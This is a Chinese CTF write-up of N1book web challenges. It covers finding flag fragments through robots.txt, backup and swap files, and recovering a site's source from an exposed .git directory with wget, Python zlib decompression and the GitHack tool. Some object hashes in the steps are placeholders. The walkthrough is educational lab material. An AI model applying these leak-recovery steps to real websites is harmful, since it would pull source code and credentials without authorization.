[第一章] web入门—N1book靶场详细思路讲解
今天逛靶场的时候发现了之前看过的一本书《从0到1:CTFer成长之路》竟然也出了配套题目;
既然如此,那就再开一个坑吧(虽然是CTFshow靶场题目也很多)
文章目录
- 简介
- 常见的搜集
- 粗心的小李(很重要)
- Git简介
- 一般的git隐藏目录
- 第一步:访问/.git/objects/第一个Hash值
- 第二步:得到第二个Hash值
- 第三步:重复步骤(获取 tree 对象)
- 第四步:获取 blob(flag 文件内容)(第三个Hash值)
- 总结:每一步的思路
- 方法二:自动化工具
- 知识点总结
- 🔑 知识点
- 总结
简介
《从0到1:CTFer成长之路》书籍配套题目,来源网站:https://book.nu1l.com/
常见的搜集
我们进入后,发现了如下的页面:
既然题目要我们信息搜集,那就常见工具一把梭呗。
查看源代码没有发现有用信息:
dirsearch等:
也是发现一些目录,那就一个个访问:
(1)robots.txt:发现了flag1:/flag1_is_her3_fun.txt,访问得到flag1:flag1:n1book{info_1
(2)/index.php~:发现了flag2:s_v3ry_im
(3)再访问/.index.php.swp,下载得到一个文件,打开后找到了关键字flag3:p0rtant_hack}
所以,得到flag为:
n1book{info_1s_v3ry_imp0rtant_hack}
粗心的小李(很重要)
看看能不能找到信息吧?
进入页面,首先我们就看到了关键词 git:
同时我们还注意到:小李好像不是很小心,经过了几次迭代更新就直接就把整个文件夹放到线上环境了:(
Git简介
- Git 简介
- Git 是一种分布式版本控制系统,用于跟踪文件和项目的历史变更。
- 它允许开发者在本地维护一个完整的代码库副本,并能方便地与团队成员协作,合并各自的修改。
- 通过 Git,可以轻松回溯到项目的任何一个历史版本,管理和追踪代码的每一次变动。
首先我们访问.git
目录,发现没有权限:
一般的git隐藏目录
既然如此,我们就进行常见的 .git 的攻击步骤:
-
.git/config
:访问此文件可以获取 Git 仓库的远程 URL、分支信息以及其他配置。- Payload:
/.git/config
- 发现内容,说明存在漏洞:得知了Git 版本和配置
- Payload:
-
.git/HEAD
:此文件指向当前的分支。- Payload:
/.git/HEAD
- 可以得知:HEAD 文件指向了 refs/heads/master,这表示当前分支是master
- Payload:
-
/.git/logs/HEAD
:很重要
返回的结果为:
0000000000000000000000000000000000000000 213b7e386e9b0b406d91fae58bf8be11a58c3f88 Veneno 593220746@qq.com 1575428654 +0800 commit (initial): flag
好了,接下来开始我们真正的干货;
这里我们主要是用到/.git/logs/HEAD
得到的Hash值;
第一步:访问/.git/objects/第一个Hash值
我们刚刚得到了第一个Hash值:213b7e386e9b0b406d91fae58bf8be11a58c3f88
注意:提交对象包含了指向目录树的哈希值以及作者、时间、提交信息等。你需要下载这个对象来获取下一步的信息。
(取前两位作为前一个目录)
哈希值: 213b7e386e9b0b406d91fae58bf8be11a58c3f88
Payload: /.git/objects/21
/3b7e386e9b0b406d91fae58bf8be11a58c3f88
接下来就需要访问它了:
这个时候就会得到一个与Hash值匹配的文件;
第二步:得到第二个Hash值
下载对象文件(压缩的二进制 blob):
wget http://xxx.com:44103/.git/objects/21/3b7e386e9b0b406d91fae58bf8be11a58c3f88 -O commit_obj.zlib# 检查文件是否成功下载
ls -lh commit_obj.zlib
file commit_obj.zlib
命令结果如下:
解压文件:
方法 A:用 Python
python3 - << 'EOF'
import zlib
data = open('commit_obj.zlib','rb').read()
decompressed = zlib.decompress(data)
print(decompressed.decode('utf-8', errors='replace'))
EOF
方法 B:用 openssl(有时候也可行,视压缩方式):
openssl zlib -d -in commit_obj.zlib -out commit_obj.txt
查看内容:
cat commit_obj.txt
得到第二个Hash值:f46fbac4149604ca13a765950f9a2d1fd8c1c7ad
第三步:重复步骤(获取 tree 对象)
所以对应的对象路径就是:
/.git/objects/f4/6fbac4149604ca13a765950f9a2d1fd8c1c7ad
还是得到了一个同名文件:
接下来就是重复步骤了:
- 下载 tree 对象:
wget http://xxx.com:44103/.git/objects/f4/6fbac4149604ca13a765950f9a2d1fd8c1c7ad -O tree_obj.zlib
- 解压 tree 对象:
python3 -c "import zlib,sys;print(zlib.decompress(open('tree_obj.zlib','rb').read()))" | hexdump -C
⚠️ 注意:tree 对象不是纯文本,会有 二进制分隔符,所以直接 cat 会乱码
- 如果想直接看到文件名(解析 blob 对象的 filename 部分),可以用:
python3 -c "import zlib,sys;print(zlib.decompress(open('tree_obj.zlib','rb').read()))"
你会在里面看到类似:
100644 blob <flag_blob_hash> flag.txt
实际结果为:
第四步:获取 blob(flag 文件内容)(第三个Hash值)
接下来就下载并解压:
wget http://xxx.com:44103/.git/objects/ab/cd1234ef5678... -O flag_obj.zlib
python3 -c "import zlib,sys;print(zlib.decompress(open('flag_obj.zlib','rb').read()).decode())"
结果如下:
重复操作:访问Hash目录——>下载同名文件——>解压
# 下载Hash目录
wget http://xxx.com:44103/.git/objects/1e/0db5d96b5cc9785055c14bbec0e7ad14f48151 -O index_blob.zlib# 解压
wget http://challenge.qsnctf.com:44103/.git/objects/ab/cd1234ef5678... -O flag_obj.zlib
python3 -c "import zlib,sys;print(zlib.decompress(open('flag_obj.zlib','rb').read()).decode())"
最终得到结果为:页面的源代码+flag
总结:每一步的思路
方法二:自动化工具
接下来我们就要使用工具来导出了:
具体命令:
python GitHack.py http://xxx.com:44103/.git
得到了一个文件,我们打开即可得到flag:
得到一个html文件,访问即可:
得到flag:
知识点总结
这道题本质上是 Git 泄露(.git 源码泄露)利用题,考察的知识点主要有:
🔑 知识点
-
Git 工作原理
-
Git 的数据存储是基于对象的:
- commit 对象:记录提交信息,指向一个 tree。
- tree 对象:类似目录,保存文件列表及其对应的 blob。
- blob 对象:保存实际文件内容。
-
各对象通过 SHA-1 哈希 串联起来。
-
-
Git 泄露利用
- 如果目标站点的
.git/
目录可访问,可以通过下载.git/objects
文件还原源码或敏感文件(如flag
)。 - 常见的工具:
GitHack
、手工wget
+zlib
解压。
- 如果目标站点的
-
zlib 压缩格式
- Git 对象文件是 zlib 压缩的二进制流,需要用
zlib
或其他解压工具处理。
- Git 对象文件是 zlib 压缩的二进制流,需要用
-
数据解析
- commit 对象:提取 tree 哈希值。
- tree 对象:解析文件目录,找到文件名和对应的 blob 哈希。
- blob 对象:获取文件实际内容(如
flag.txt
)。
-
CTF 思维考点
- 信息溯源:由 commit → tree → blob 层层追溯。
- 二进制解析:理解 Git 的数据存储方式,而不是只靠黑盒工具。
- 实战意义:真实环境下若
.git/
泄露,攻击者可恢复源码、配置文件、甚至敏感凭据。
👉 总结:
这题考察的就是 Git 对象存储机制 + 源码泄露利用 + zlib 压缩解包 + 哈希追踪思维。
总结
原本想着一篇文章给各位写4道题目的,但没想到第二道题目的Git考点如此繁杂,所以光是写第二道题就用了两个小时,实在是太累了。
只能改成下一篇文章了。